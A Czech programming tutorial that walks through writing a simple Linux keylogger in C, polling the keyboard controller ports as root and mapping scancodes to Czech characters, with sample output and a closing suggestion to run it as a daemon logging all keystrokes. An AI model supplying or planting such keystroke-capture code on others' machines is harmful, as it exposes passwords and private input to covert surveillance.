Keylogger

Keylogger je program, který vám zachytí a zaloguje každý stisk klávesy. Tady vám ukážu, jak si takový jednoduchý keylogger můžete napsat. Pokud toužíte po nějakém propracovanějším díle, podívejte se třeba na logkeys.

Tento kód je zastaralý a pravděpodobně už vám nebude fungovat.
Pořád to ale můžete to brát jako ukázku toho, jak se zhruba pracuje přímo s hardwarem.

Keylogger

Když stisknete na klávesnici nějakou klávesu, odešle klávesnice do vašeho počítače číslo klávesnice. Když klávesu uvolníte, odešle klávesnice jiné číslo. Keylogger tyto čísla zachytává. První problém, na který při psaní keyloggeru narazíte je, jaké číslo odpovídá jaké klávese.

Je tu ale ještě horší problém, jaké číslo klávesy odpovídá jakému znaku. Když totiž zmáčknete klávesu, klávesnice neví nic o tom, zda píšete zrovna na „anglické“ klávesnici, nebo na „české“ klávesnici. Klávesnice neví nic o ASCII tabulkách nebo UTF-8 kódování atp. Klávesnice je nezávislá na operačním systému.

V mém příkladě budu předpokládat českou klávesnici. Napsal jsem funkci key(), která převádí číslo klávesy na znak, resp. na řetězec, kvůli podpoře vícebajtových znaků z UTF-8.

  1. /*------------------------------------------------*/
  2. /* 30keylogger/key.h                              */
  3. char *key(int code);
  4. /*------------------------------------------------*/

Funkce pracuje jednoduše. Snaží se najít kód v poli ascii_code_in nebo ascii_code_out. Pokud jej najde, vrátí odpovídající znak z pole char, které jsem napsal pro českou klávesnici. (Pro anglickou klávesnici byste měli místo ú znak ] atp.).

V praxi budete chtít asi zachytávat pouze ascii_code_in (nepotřebujete logovat stisk klávesy dvakrát).

To, že stisk klávesy se v programu interpretuje jako ú nebo ] už je záležitost např. grafického systému X, takže na této úrovni logování není bohužel šance zjistit, jak X, nebo jaký program vlastně klávesnici zrovna obsluhuje, kód klávesnice interpretuje.

  1. /*------------------------------------------------*/
  2. /* 30keylogger/key.c                              */
  3. #include <stdlib.h>
  4. #include "key.h"
  5.  
  6. char *key(int code)
  7. {
  8.     int i;
  9.     char *chars[] = {
  10.         "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "ú", ")",
  11.         "<ENTER>",
  12.         "a", "s", "d", "f", "g", "h", "j", "k", "l", "ů", "§",
  13.         "z", "x", "c", "v", "b", "n", "m", ",", ".", "-"
  14.     };
  15.     /* stisk klavesy */
  16.     int ascii_code_in[] = {
  17.         16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,
  18.         28,
  19.         30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
  20.         44, 45, 46, 47, 48, 49, 50, 51, 52, 53
  21.     };
  22.     /* uvolneni klavesy */
  23.     int ascii_code_out[] = {
  24.         144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155,
  25.         156,
  26.         158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168,
  27.         172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182
  28.     };
  29.     for (i = 0; i < sizeof(chars) / sizeof(chars[0]); i++) {
  30.         if (code == ascii_code_in[i] || code == ascii_code_out[i])
  31.             return chars[i];
  32.     }
  33.     return NULL;
  34. }
  35. /*------------------------------------------------*/

Funkce key() interpretuje jen některé kódy. Kódy ostatních kláves si snadno zjistíte a doplníte pomocí tohoto programu. Program totiž dělá jen to, že zobrazí zachycené číslo odeslané klávesnicí a pokud najde key() odpovídající řetězec, tak ten zobrazí, jinak zobrazí otazník.

Na začátku se program snaží získat přístup k portům klávesnice. Konkrétně k číslu přerušení (KB_IO) a k vlastní hodnotě stisknuté klávesy (KB_ST). Neptejte se mě, kde zjistit tyto čísla, vygooglil jsem je :-).

Přístup získáte jen s právy uživatele root.

  1. /*------------------------------------------------*/
  2. /* 30keylogger/keylogger.c                        */
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <sys/io.h>
  7. #include "key.h"
  8.  
  9. #define KB_IO 0x60
  10. #define KB_ST 0x64
  11. #define SLEEP 50
  12.  
  13. int main(void)
  14. {
  15.     int code = 0;
  16.     int last = 0;
  17.     char * keystr;
  18.     /* ziskani pristupu */
  19.     if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
  20.         fprintf(stderr, "Nelze získat přístup k portům I/O\n");
  21.         exit(3);
  22.     }
  23.  
  24.     while (1) {
  25.         code = 0;
  26.         if (inb(KB_ST) == 20)
  27.             code = inb(KB_IO);
  28.         if (code) {
  29.             if (code == last) {
  30.                 usleep(SLEEP);
  31.                 continue;
  32.             }
  33.             last = code;
  34.             keystr = key(code);
  35.             fprintf(stdout, "\n%i %s\n", code, keystr ? keystr : "?");
  36.             fflush(stdout);
  37.         }
  38.     }
  39.     return 0;
  40. }
  41. /*------------------------------------------------*/

Pokud práva získáte, pak bude program ve smyčce neustále zjišťovat, zda je dostupná hodnota stisknuté klávesy (inb(KB_ST) == 20). Pokud ano, vypíše její hodnotu (inb(KB_IO)) s odpovídají řetězcovou interpretací (key(code)) na obrazovku, jinak se zastaví na 50 ms (to aby nevytěžoval příliš processor).

Výstup z programu, který musíte spustit jako root, vypadá třeba takto:


156 <ENTER>

30 a
a
158 a

48 b
b
176 b

46 c
c
174 c

32 d
d
160 d

29 ?

46 c
^C

Všiměte si, že se nejdříve vypíše zachycený kód pro stisk klávesy, pak se vypíše stisknutá klávesa (za to může terminál) a nakonec se vypíše zachycený kód po uvolnění klávesy.

Teď už jenom stačí, abyste si program přeměnili v démona a logovali si všechny stisky kláves.

PS: ne že to budete používat k nějakým nelegálním aktivitám! :-)

Komentář Hlášení chyby
Created: 17.9.2014
Last updated: 19.11.2015
Tato stánka používá ke svému běhu cookies, díky kterým je možné monitorovat, co tu provádíte (ne že bych to bez cookies nezvládl). Také vás tu bude špehovat google analytics. Jestli si myslíte, že je to problém, vypněte si cookies ve vašem prohlížeči, nebo odejděte a už se nevracejte :-). Prohlížením tohoto webu souhlasíte s používáním cookies. Dozvědět se více..